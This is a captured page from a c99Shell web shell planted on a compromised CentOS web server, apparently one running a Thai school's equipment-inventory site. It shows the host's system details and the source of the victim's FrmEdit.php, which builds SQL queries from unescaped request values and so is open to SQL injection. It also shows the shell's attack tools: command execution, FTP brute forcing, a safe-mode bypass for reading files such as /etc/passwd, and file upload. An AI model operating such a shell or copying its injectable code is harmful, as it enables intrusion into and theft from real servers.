!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Monny_depart/personal/Support/Accessories/   drwxr-xr-x
Free 48.08 GB of 127.8 GB (37.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEdit.php (12.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../../../include/FunctionDB.php");
include(
"../../../include/Function.php");
include(
"header.php");
ConnectDB();
  
$sql ="SELECT * FROM accessories_tb WHERE code='$code'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);
?>
<script language="JavaScript" type="text/JavaScript">
<!--
  function browse()
{
form1.Imag1.src = form1.Img1.value;
}
<!--
 function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
function chk(c){
if (c.checked){
document.all.Prob1.disabled=false;
document.all.Prob2.disabled=false;
document.all.Prob3.disabled=false;
document.all.Prob4.disabled=false;
}
else{
document.all.Problem.disabled=false;
}
}
</script>

<html>
<head>
<title>Edit accessories</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../../../css/style1.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#FFFFFF">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td> <table width="100%" border="0" cellpadding="0" cellspacing="1">
        <tr > 
          <td width="25%" background="../../../Image/barm.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="../menu_support.php" class="g">กลับหน้าหลัก</a></font></strong></div></td>
          <td width="25%" background="../../../Image/barm.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="EditAccList.php?Teacher_code=<? echo  $rs[Teacher_code?>" class="g">แก้ไข</a></font></strong></div></td>
          <td width="25%" background="../../../Image/barm.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="AccList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g">แสดง</a></font></strong></div></td>
          <td width="25%" background="../../../Image/barm.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="../../../logout.php" class="g">Logout</a></font></strong></div></td>
        </tr>
      </table></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="64%" border="0" align="center" cellpadding="0" cellspacing="1" style="border:1px solid gray">
  <tr bgcolor="#CCCCFF" > 
    <td height="25" colspan="3"> <div align="center"><font color="#000000" size="4" face="Tahoma"><strong><font color="#FF0000">แก้ไข</font> 
        ข้อมูล</strong></font></div></td>
  </tr>
  <form name="form1" method="POST" action="EditAcc.php"
    enctype="multipart/form-data">
    <tr bgcolor="#EEEEEE">
      <td width="26%" height="20" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">รหัส</font></div></td>
      <td width="2%">&nbsp;</td>
      <td width="72%"><font color="#003366" size="2" face="Tahoma">
        <select name="Acc_code" class="input1" id="Acc_code">
          <?php
                   $Acc_code 
$rs[Acc_code];
                
$strSQL5 "SELECT * FROM accessories_tb Where Acc_code='$Acc_code'";
                
$result5mysql_query($strSQL5) or die("Error".mysql_error());
                   
$strSQL6 "SELECT * FROM accessories_tb Order By Acc_code";
                    
$result6mysql_query($strSQL6);
                     while( 
$rs5 mysql_fetch_array($result5))
                        {
                            echo
"<option value=\"$rs5[Acc_code]\"><b>$rs5[Acc_code]</b></option>\n";
                                while( 
$rs6 mysql_fetch_array($result6))
                                    {
                                    echo
"<option value=\"$rs6[Acc_code]\"><b>$rs6[Acc_code] </b></option>\n";
                                    }
                        }
    
            
?>
        </select>
      </font></td>
    </tr>
    <tr bgcolor="#FFFFFF">
      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ชื่ออุปกรณ์/ยี่ห้อ</font></div></td>
      <td bgcolor="#EEEEEE">&nbsp;</td>
      <td bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma">
        <select name="Acc_name" class="input1" id="Acc_name">
          <?php
                   $Acc_name 
$rs[Acc_name];
                
$strSQL7 "SELECT * FROM accessories_tb Where Acc_name='$Acc_name'";
                
$result7mysql_query($strSQL7) or die("Error".mysql_error());
                   
$strSQL8 "SELECT * FROM accessories_tb Order By Acc_name";
                    
$result8mysql_query($strSQL8);
                     while( 
$rs7 mysql_fetch_array($result7))
                        {
                            echo
"<option value=\"$rs7[Acc_name]\"><b>$rs7[Acc_name]</b></option>\n";
                                while( 
$rs8 mysql_fetch_array($result8))
                                    {
                                    echo
"<option value=\"$rs8[Acc_name]\"><b>$rs8[Acc_name] </b></option>\n";
                                    }
                        }
    
            
?>
        </select>
      </font></td>
    </tr>
    <tr bgcolor="#FFFFFF"> 
      <td bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">ชนิด</font></div></td>
      <td bgcolor="#EEEEEE"> <div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
      <td bgcolor="#EEEEEE"> <font color="#003366" size="2" face="Tahoma"> 
        <select name="Acc_type_code" class="input1" id="Acc_type_code">
          <?php
                   $Acc_type_code 
$rs[Acc_type_code];
                
$strSQL3 "SELECT * FROM accessories_type_tb Where Acc_type_code='$Acc_type_code'";
                
$result3mysql_query($strSQL3) or die("Error".mysql_error());
                   
$strSQL4 "SELECT * FROM accessories_type_tb Order By Acc_type_code";
                    
$result4mysql_query($strSQL4);
                     while( 
$rs3 mysql_fetch_array($result3))
                        {
                            echo
"<option value=\"$rs3[Acc_type_code]\"><b>$rs3[Acc_type] - $rs3[Acc_Etype]</b></option>\n";
                                while( 
$rs4 mysql_fetch_array($result4))
                                    {
                                    echo
"<option value=\"$rs4[Acc_type_code]\"><b>$rs4[Acc_type] - $rs4[Acc_Etype]</b></option>\n";
                                    }
                        }
    
            
?>
        </select>
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE">
      <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">หลักสูตร</font></div></td>
      <td>&nbsp;</td>
      <td bgcolor="#EEEEEE"><select name="Course_code" class="input1" id="Course_code">
        <?php
            $Course_code 
$rs[Course_code];
             
$strSQL1 "SELECT * FROM course_tb Where Course_code='$Course_code' ";
            
$result1 mysql_query($strSQL1);
           
$strSQL2 "SELECT * FROM course_tb Order By Course_code ";
            
$result2 mysql_query($strSQL2);
                 while( 
$rs1 mysql_fetch_array($result1))
                {
                echo
"<option value=\"$rs1[Course_code]\" ><b>$rs1[Course_name]</b></option>\n";
                 while( 
$rs2 mysql_fetch_array($result2))
                    {
               echo
"<option value=\"$rs2[Course_code]\" ><b>$rs2[Course_name]</b></option>\n";
                 }
                }
            
CloseDB();  
          
?>
      </select></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="22" bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">ที่จัดเก็บ</font></div></td>
      <td><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
      <td bgcolor="#EEEEEE"> <input name="Store" type="text" class="input1" id="Store" value="<? echo $rs[Store]?>" size="50"> 
      </td>
    </tr>
    <tr bgcolor="#eeeeee"> 
      <td> <div align="center"><font size="2" face="Tahoma">บริษัท Contact</font></div></td>
      <td>&nbsp;</td>
      <td bgcolor="#eeeeee">
<textarea name="Contact" cols="40" rows="5" id="Contact" class="input1"><? echo $rs[Contact]?></textarea>
      </td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="22" bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">ปี 
          พ.ศ.ที่ซื้อ</font></div></td>
      <td>&nbsp;</td>
      <td><font color="#000000" size="2" face="Tahoma">วันที่ 
        <select name="mDate" id="mDate" class="select" >
          <?php
           $Date_buy 
$rs[Date_buy];
           
$yearthai explode("-",$Date_buy);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
        </select>
        เดือน 
        <select name="mMonth" id="mMonth" class="select" >
          <?php
          $Date_buy 
$rs[Date_buy];
           
$yearthai explode("-",$Date_buy);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
        </select>
        ปี พ.ศ. 
        <input name="mYear" type="text" class="input" id="mYear" value="<? echo $mYear ?>" size="10">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ราคา</font></div></td>
      <td>&nbsp;</td>
      <td><input name="Price" type="text" class="input1" id="Price" value="<? echo $rs[Price]?>" size="20"> 
        <font size="2" face="Tahoma">บาท</font></td>
    </tr>
    <tr bgcolor="#eeeeee"> 
      <td><div align="center"><font size="2" face="Tahoma">ประวัติการซ่อม</font></div></td>
      <td>&nbsp;</td>
      <td><font size="2" face="Tahoma"> 
        <textarea name="Fix_History" cols="40" rows="5" class="input1" id="Fix_History"><? echo $rs[Fix_History]?></textarea>
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="22" bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">งบประมาณการซ่อมแซม</font></div></td>
      <td>&nbsp;</td>
      <td> <input name="Fix_budget" type="text" class="input1" id="Fix_budget" value="<? echo $rs[Fix_budget]?>" size="20"> 
        <font size="2" face="Tahoma"> บาท</font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma"> 
          สถานะการใช้งาน</font></div></td>
      <td><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
      <td><font size="2" face="Tahoma"> 
        <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","ใช้งาน"))){echo "checked";} ?> value="ใช้งาน">
        ใช้งาน 
        <input type="radio" name="Status"  <?php if (!(strcmp("$rs[Status]","ว่าง"))){echo "checked";} ?> value="ว่าง">
        ว่าง 
        <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","ชำรุด"))){echo "checked";} ?> value="ชำรุด">
        ชำรุด 
        <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","จำหน่ายออก"))){echo "checked";} ?> value="จำหน่ายออก">
        จำหน่ายออก </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">สถิติการใช้งาน</font> 
        </div></td>
      <td>&nbsp;</td>
      <td> <textarea name="Statistic" cols="40" id="Statistic" class="input1"><? echo $rs[Statistic]?></textarea></td>
    </tr>
    <tr bgcolor="#EEEEEE">
      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">บันทึกซ่วยจำ</font></div></td>
      <td>&nbsp;</td>
      <td><textarea name="Description" cols="50" rows="5" id="Description" class="input1"><? echo $rs[Description]?></textarea></td>
    </tr>
    <tr bordercolor="#99CCFF">
      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">รูปภาพ</font></div></td>
      <td bgcolor="#EEEEEE">&nbsp;</td>
      <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td width="73%"><div align="center">
                <input name="Img1" type="file" id="Img1" onChange=browse()>
            </div></td>
            <td width="27%"><div align="center"><img name="Imag1" src=" " width="100" height="100"></div></td>
          </tr>
      </table></td>
    </tr>
    <tr bgcolor="#CCCCFF" > 
      <td height="25" colspan="3"> <div align="center"> 
          <input name="code" type="hidden" id="code" value="<? echo $rs[code]?>">
          <input type="submit" name="Submit" value=" บันทึก " class="button">
          &nbsp;</div></td>
    </tr>
  </form>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0167 ]--